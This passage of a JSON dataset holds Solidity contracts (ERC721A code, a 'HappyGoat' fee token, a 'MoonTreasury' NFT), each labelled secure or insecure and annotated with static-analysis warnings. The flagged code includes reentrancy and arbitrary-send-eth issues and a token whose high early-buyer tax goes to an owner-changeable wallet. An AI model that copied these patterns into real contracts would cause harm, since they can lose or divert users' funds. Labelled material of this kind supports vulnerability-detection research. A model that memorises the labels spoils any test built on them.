"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n\nerror ApprovalCallerNotOwnerNorApproved();\n\nerror ApprovalQueryForNonexistentToken();\n\nerror ApproveToCaller();\n\nerror ApprovalToCurrentOwner();\n\nerror BalanceQueryForZeroAddress();\n\nerror MintedQueryForZeroAddress();\n\nerror BurnedQueryForZeroAddress();\n\nerror AuxQueryForZeroAddress();\n\nerror MintToZeroAddress();\n\nerror MintZeroQuantity();\n\nerror OwnerIndexOutOfBounds();\n\nerror OwnerQueryForNonexistentToken();\n\nerror TokenIndexOutOfBounds();\n\nerror TransferCallerNotOwnerNorApproved();\n\nerror TransferFromIncorrectOwner();\n\nerror TransferToNonERC721ReceiverImplementer();\n\nerror TransferToZeroAddress();\n\nerror URIQueryForNonexistentToken();",
"file_name": "solidity_code_2838.sol",
"secure": 1,
"size_bytes": 1035
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC721Metadata.sol\" as IERC721Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721Receiver.sol\" as IERC721Receiver;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract ERC721A is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n struct TokenOwnership {\n address addr;\n uint64 startTimestamp;\n bool burned;\n }\n\n struct AddressData {\n uint64 balance;\n uint64 numberMinted;\n uint64 numberBurned;\n uint64 aux;\n }\n\n uint256 internal _currentIndex;\n\n uint256 internal _burnCounter;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => TokenOwnership) internal _ownerships;\n\n mapping(address => AddressData) private _addressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) internal _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _currentIndex = _startTokenId();\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 1;\n }\n\n function totalSupply() public view returns (uint256) {\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(address owner) public view override returns (uint256) {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n return uint256(_addressData[owner].balance);\n }\n\n function _numberMinted(address owner) internal view returns (uint256) {\n if (owner == address(0)) revert MintedQueryForZeroAddress();\n return uint256(_addressData[owner].numberMinted);\n }\n\n function _numberBurned(address owner) internal view returns (uint256) {\n if (owner == address(0)) revert BurnedQueryForZeroAddress();\n return uint256(_addressData[owner].numberBurned);\n }\n\n function _getAux(address owner) internal view returns (uint64) {\n if (owner == address(0)) revert AuxQueryForZeroAddress();\n return _addressData[owner].aux;\n }\n\n function _setAux(address owner, uint64 aux) internal {\n if (owner == address(0)) revert AuxQueryForZeroAddress();\n _addressData[owner].aux = aux;\n }\n\n function ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr && curr < _currentIndex) {\n TokenOwnership memory ownership = _ownerships[curr];\n if (!ownership.burned) {\n if (ownership.addr != address(0)) {\n return ownership;\n }\n\n while (true) {\n curr--;\n ownership = _ownerships[curr];\n if (ownership.addr != address(0)) {\n return ownership;\n }\n }\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return ownershipOf(tokenId).addr;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public override {\n address owner = ERC721A.ownerOf(tokenId);\n if (to == owner) revert ApprovalToCurrentOwner();\n\n if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _approve(to, tokenId, owner);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public override {\n if (operator == _msgSender()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSender()][operator] = approved;\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _transfer(from, to, tokenId);\n if (\n to.isContract() &&\n !_checkContractOnERC721Received(from, to, tokenId, _data)\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex &&\n !_ownerships[tokenId].burned;\n }\n\n function _safeMint(address to, uint256 quantity) internal {\n _safeMint(to, quantity, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal {\n _mint(to, quantity, _data, true);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4aed560): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4aed560: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 49062be): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 49062be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _mint(\n address to,\n uint256 quantity,\n bytes memory _data,\n bool safe\n ) internal {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _addressData[to].balance += uint64(quantity);\n _addressData[to].numberMinted += uint64(quantity);\n\n _ownerships[startTokenId].addr = to;\n _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n if (safe && to.isContract()) {\n do {\n\t\t\t\t\t// reentrancy-events | ID: 4aed560\n emit Transfer(address(0), to, updatedIndex);\n if (\n\t\t\t\t\t\t// reentrancy-events | ID: 4aed560\n\t\t\t\t\t\t// reentrancy-no-eth | ID: 49062be\n !_checkContractOnERC721Received(\n address(0),\n to,\n updatedIndex++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (updatedIndex != end);\n\n if (_currentIndex != startTokenId) revert();\n } else {\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex != end);\n }\n\t\t\t// reentrancy-no-eth | ID: 49062be\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _transfer(address from, address to, uint256 tokenId) private {\n TokenOwnership memory prevOwnership = ownershipOf(tokenId);\n\n bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||\n isApprovedForAll(prevOwnership.addr, _msgSender()) ||\n getApproved(tokenId) == _msgSender());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n _approve(address(0), tokenId, prevOwnership.addr);\n\n unchecked {\n _addressData[from].balance -= 1;\n _addressData[to].balance += 1;\n\n _ownerships[tokenId].addr = to;\n _ownerships[tokenId].startTimestamp = uint64(block.timestamp);\n\n uint256 nextTokenId = tokenId + 1;\n if (_ownerships[nextTokenId].addr == address(0)) {\n if (nextTokenId < _currentIndex) {\n _ownerships[nextTokenId].addr = prevOwnership.addr;\n _ownerships[nextTokenId].startTimestamp = prevOwnership\n .startTimestamp;\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n TokenOwnership memory prevOwnership = ownershipOf(tokenId);\n\n _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);\n\n _approve(address(0), tokenId, prevOwnership.addr);\n\n unchecked {\n _addressData[prevOwnership.addr].balance -= 1;\n _addressData[prevOwnership.addr].numberBurned += 1;\n\n _ownerships[tokenId].addr = prevOwnership.addr;\n _ownerships[tokenId].startTimestamp = uint64(block.timestamp);\n _ownerships[tokenId].burned = true;\n\n uint256 nextTokenId = tokenId + 1;\n if (_ownerships[nextTokenId].addr == address(0)) {\n if (nextTokenId < _currentIndex) {\n _ownerships[nextTokenId].addr = prevOwnership.addr;\n _ownerships[nextTokenId].startTimestamp = prevOwnership\n .startTimestamp;\n }\n }\n }\n\n emit Transfer(prevOwnership.addr, address(0), tokenId);\n _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);\n\n unchecked {\n _burnCounter++;\n }\n }\n\n function _approve(address to, uint256 tokenId, address owner) private {\n _tokenApprovals[tokenId] = to;\n emit Approval(owner, to, tokenId);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 6989df2): ERC721A._checkContractOnERC721Received(address,address,uint256,bytes) has external calls inside a loop retval = IERC721Receiver(to).onERC721Received(_msgSender(),from,tokenId,_data)\n\t// Recommendation for 6989df2: Favor pull over push strategy for external calls.\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n\t\t// reentrancy-events | ID: c5776d2\n\t\t// reentrancy-events | ID: 4aed560\n\t\t// calls-loop | ID: 6989df2\n\t\t// reentrancy-no-eth | ID: 49062be\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n}",
"file_name": "solidity_code_2839.sol",
"secure": 0,
"size_bytes": 14550
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouter.sol\" as IUniswapRouter;\nimport \"./IUniswapFactory.sol\" as IUniswapFactory;\n\ncontract HappyGoat is IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address public fundAddress;\n\n\t// WARNING Optimization Issue (constable-states | ID: 78c3052): HappyGoat._name should be constant \n\t// Recommendation for 78c3052: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Happy Goat\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 097aebd): HappyGoat._symbol should be constant \n\t// Recommendation for 097aebd: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"GOAT\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 96861b7): HappyGoat._decimals should be constant \n\t// Recommendation for 96861b7: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n mapping(address => bool) public _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0b517a2): HappyGoat._totalSupply should be immutable \n\t// Recommendation for 0b517a2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a41087b): HappyGoat._maxTaxSwap should be immutable \n\t// Recommendation for a41087b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n uint256 public _maxWalletAmount = _maxTaxSwap * 2;\n\n mapping(address => bool) public isMarketPair;\n\n bool private inSwap;\n\n uint256 private constant MAX = ~uint256(0);\n\n\t// WARNING Optimization Issue (constable-states | ID: 1dabd6e): HappyGoat._initialBuyFee should be constant \n\t// Recommendation for 1dabd6e: Add the 'constant' attribute to state variables that never change.\n uint256 public _initialBuyFee = 39;\n\n\t// WARNING Optimization Issue (constable-states | ID: bc1d637): HappyGoat._reduceFeeAt should be constant \n\t// Recommendation for bc1d637: Add the 'constant' attribute to state variables that never change.\n uint256 public _reduceFeeAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3845742): HappyGoat._buyFundFee should be constant \n\t// Recommendation for 3845742: Add the 'constant' attribute to state variables that never change.\n uint256 public _buyFundFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b2767ca): HappyGoat._sellFundFee should be constant \n\t// Recommendation for b2767ca: Add the 'constant' attribute to state variables that never change.\n uint256 public _sellFundFee = 0;\n\n uint256 public _buyers = 0;\n\n IUniswapRouter public _uniswapRouter;\n\n uint256 public tradingBlock = 0;\n\n address public _uniswapPair;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n address receiveAddr = msg.sender;\n\n _balances[receiveAddr] = _totalSupply;\n\n emit Transfer(address(0), receiveAddr, _totalSupply);\n\n fundAddress = 0xCDCeB26D60Ef1f774CA542f70415Fef11b39238E;\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[msg.sender] = true;\n\n _isExcludeFromFee[receiveAddr] = true;\n\n _isExcludeFromFee[fundAddress] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 52c5be7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 52c5be7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1d21e7e): HappyGoat.createGoatPairs() ignores return value by swapRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1d21e7e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5752afa): HappyGoat.createGoatPairs() ignores return value by IERC20(_uniswapPair).approve(address(swapRouter),type()(uint256).max)\n\t// Recommendation for 5752afa: Ensure that all the return values of the function calls are used.\n function createGoatPairs() external onlyOwner {\n require(tradingBlock == 0, \"already trading\");\n\n IUniswapRouter swapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _uniswapRouter = swapRouter;\n\n _allowances[address(this)][address(swapRouter)] = MAX;\n\n IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());\n\n\t\t// reentrancy-benign | ID: 52c5be7\n address swapPair = swapFactory.createPair(\n address(this),\n swapRouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 52c5be7\n _uniswapPair = swapPair;\n\n\t\t// reentrancy-benign | ID: 52c5be7\n isMarketPair[_uniswapPair] = true;\n\n\t\t// unused-return | ID: 1d21e7e\n swapRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 5752afa\n IERC20(_uniswapPair).approve(address(swapRouter), type(uint256).max);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d07d343): HappyGoat.setGoatFundAddr(address).newAddr lacks a zerocheck on \t fundAddress = newAddr\n\t// Recommendation for d07d343: Check that the address is not zero.\n function setGoatFundAddr(address newAddr) public onlyOwner {\n\t\t// missing-zero-check | ID: d07d343\n fundAddress = newAddr;\n }\n\n function symbol() external view override returns (string memory) {\n return _symbol;\n }\n\n function name() external view override returns (string memory) {\n return _name;\n }\n\n function decimals() external view override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 08b2c36): HappyGoat.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 08b2c36: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0a99f60): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0a99f60: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-benign | ID: 0a99f60\n _transfer(sender, recipient, amount);\n\n if (_allowances[sender][msg.sender] != MAX) {\n\t\t\t// reentrancy-benign | ID: 0a99f60\n _allowances[sender][msg.sender] =\n _allowances[sender][msg.sender] -\n amount;\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 463c6f7): HappyGoat._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 463c6f7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n\t\t// reentrancy-benign | ID: 9a1af62\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 85ec0d3\n emit Approval(owner, spender, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 85ec0d3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 85ec0d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9a1af62): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9a1af62: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 18ae1eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 18ae1eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 1220d36): HappyGoat._transfer(address,address,uint256).takeFee is a local variable never initialized\n\t// Recommendation for 1220d36: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 069ba78): HappyGoat._transfer(address,address,uint256).sellFlag is a local variable never initialized\n\t// Recommendation for 069ba78: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takeFee;\n\n bool sellFlag;\n\n if (\n isMarketPair[to] &&\n !inSwap &&\n !_isExcludeFromFee[from] &&\n !_isExcludeFromFee[to]\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > 0) {\n uint256 numTokensSellToFund = min(\n amount,\n min(contractTokenBalance, _maxTaxSwap)\n );\n\n\t\t\t\t// reentrancy-events | ID: 85ec0d3\n\t\t\t\t// reentrancy-benign | ID: 9a1af62\n\t\t\t\t// reentrancy-eth | ID: 18ae1eb\n swapTokenForETH(numTokensSellToFund);\n }\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t// reentrancy-events | ID: 85ec0d3\n\t\t\t// reentrancy-eth | ID: 18ae1eb\n transferGoatFeeTokens(contractETHBalance);\n }\n\n if (isMarketPair[from] && !_isExcludeFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Max wallet 2% at launch\"\n );\n\n\t\t\t// reentrancy-benign | ID: 9a1af62\n _buyers++;\n }\n\n if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {\n require(tradingBlock > 0, \"!trading\");\n\n takeFee = true;\n }\n\n if (isMarketPair[to]) {\n sellFlag = true;\n }\n\n\t\t// reentrancy-events | ID: 85ec0d3\n\t\t// reentrancy-benign | ID: 9a1af62\n\t\t// reentrancy-eth | ID: 18ae1eb\n _transferToken(from, to, amount, takeFee, sellFlag, fundAddress, MAX);\n }\n\n function enableGoat() public onlyOwner {\n require(tradingBlock == 0, \"already trading\");\n\n tradingBlock = block.number;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 34eec3e): HappyGoat._transferToken(address,address,uint256,bool,bool,address,uint256).feeAmount is a local variable never initialized\n\t// Recommendation for 34eec3e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferToken(\n address sender,\n address recipient,\n uint256 tAmount,\n bool takeFee,\n bool sellFlag,\n address route,\n uint256 amount\n\t\t// reentrancy-eth | ID: 18ae1eb\n ) private {\n _balances[sender] = _balances[sender] - tAmount;\n\n uint256 feeAmount;\n\n if (takeFee) {\n uint256 taxFee;\n\n if (sellFlag) {\n taxFee = _sellFundFee;\n } else {\n taxFee = _buyFundFee;\n }\n\n if (_buyers < _reduceFeeAt) taxFee = _initialBuyFee;\n\n if (isMarketPair[sender]) _approve(sender, route, amount);\n\n uint256 swapAmount = (tAmount * taxFee) / 100;\n\n if (swapAmount > 0) {\n feeAmount += swapAmount;\n\n\t\t\t\t// reentrancy-eth | ID: 18ae1eb\n _balances[address(this)] =\n _balances[address(this)] +\n swapAmount;\n\n\t\t\t\t// reentrancy-events | ID: 85ec0d3\n emit Transfer(sender, address(this), swapAmount);\n }\n }\n\n\t\t// reentrancy-eth | ID: 18ae1eb\n _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);\n\n\t\t// reentrancy-events | ID: 85ec0d3\n emit Transfer(sender, recipient, tAmount - feeAmount);\n }\n\n function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapRouter.WETH();\n\n\t\t// reentrancy-events | ID: 85ec0d3\n\t\t// reentrancy-benign | ID: 0a99f60\n\t\t// reentrancy-benign | ID: 9a1af62\n\t\t// reentrancy-eth | ID: 18ae1eb\n try\n _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n )\n {} catch {}\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5536586): HappyGoat.transferGoatFeeTokens(uint256) sends eth to arbitrary user Dangerous calls address(fundAddress).transfer(amount)\n\t// Recommendation for 5536586: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function transferGoatFeeTokens(uint256 amount) private {\n\t\t// reentrancy-events | ID: 85ec0d3\n\t\t// reentrancy-eth | ID: 18ae1eb\n\t\t// arbitrary-send-eth | ID: 5536586\n payable(fundAddress).transfer(amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxWalletAmount = _totalSupply;\n }\n\n function withdrawStuckGoatBalance() external onlyOwner {\n require(address(this).balance > 0, \"No Balance to withdraw!\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_284.sol",
"secure": 0,
"size_bytes": 16453
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IMAL {\n function depositMALFor(address user, uint256 amount) external;\n}",
"file_name": "solidity_code_2840.sol",
"secure": 1,
"size_bytes": 149
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISTAKING {\n function balanceOf(address user) external view returns (uint256);\n}",
"file_name": "solidity_code_2841.sol",
"secure": 1,
"size_bytes": 156
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"./IMAL.sol\" as IMAL;\nimport \"./ISTAKING.sol\" as ISTAKING;\n\ncontract MoonTreasury is ERC721A {\n using SafeMath for uint256;\n using Strings for uint256;\n\n string private _baseUri;\n\n uint256 public constant MAX_SUPPLY = 5000;\n uint256 public constant INITIAL_DROP = 15000 ether;\n\n uint256 public treasuryPrice;\n mapping(address => bool) whitelisted;\n bool public whitelistSale;\n\n bool public saleIsActive;\n bool public apeOwnershipRequired;\n\t// WARNING Optimization Issue (constable-states | ID: 9c5ee09): MoonTreasury.metadataFinalised should be constant \n\t// Recommendation for 9c5ee09: Add the 'constant' attribute to state variables that never change.\n bool private metadataFinalised;\n\n mapping(address => bool) private _isAuthorised;\n address[] public authorisedLog;\n\t// WARNING Optimization Issue (immutable-states | ID: 2b02838): MoonTreasury.contract_owner should be immutable \n\t// Recommendation for 2b02838: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public contract_owner;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e58ce5c): MoonTreasury.MAL should be immutable \n\t// Recommendation for e58ce5c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IMAL public MAL;\n\t// WARNING Optimization Issue (immutable-states | ID: 4652ba0): MoonTreasury.STAKING should be immutable \n\t// Recommendation for 4652ba0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ISTAKING public STAKING;\n\t// WARNING Optimization Issue (immutable-states | ID: 0a38ccd): MoonTreasury.APES should be immutable \n\t// Recommendation for 0a38ccd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC721 public APES;\n\n event TreasuriesMinted(\n address indexed mintedBy,\n uint256 indexed tokensNumber\n );\n\n constructor(\n address _apes,\n address _staking,\n address _mal\n ) ERC721A(\"Moon Treasury\", \"MAL_TREASURY\") {\n APES = IERC721(address(_apes));\n STAKING = ISTAKING(address(_staking));\n MAL = IMAL(address(_mal));\n _isAuthorised[_staking] = true;\n contract_owner = _msgSender();\n\n _baseUri = \"ipfs://QmYmi1MYWRd9Dt1VPTxZyGWHmd7scmi4AprEwevsJcLFAW/moon_treasury.json\";\n apeOwnershipRequired = false;\n whitelistSale = true;\n\n treasuryPrice = 0.3 ether;\n saleIsActive = false;\n }\n\n modifier onlyAuthorised() {\n require(_isAuthorised[_msgSender()], \"Not Authorised\");\n _;\n }\n\n modifier onlyOwner() {\n require(_msgSender() == contract_owner, \"Not contract owner\");\n _;\n }\n\n function addWhitelisted(address[] memory wl_addresses) public onlyOwner {\n for (uint256 i = 0; i < wl_addresses.length; i++) {\n whitelisted[wl_addresses[i]] = true;\n }\n }\n\n function isWhitelisted(address some_address) public view returns (bool) {\n return whitelisted[some_address];\n }\n\n function disableWhitelistSale() 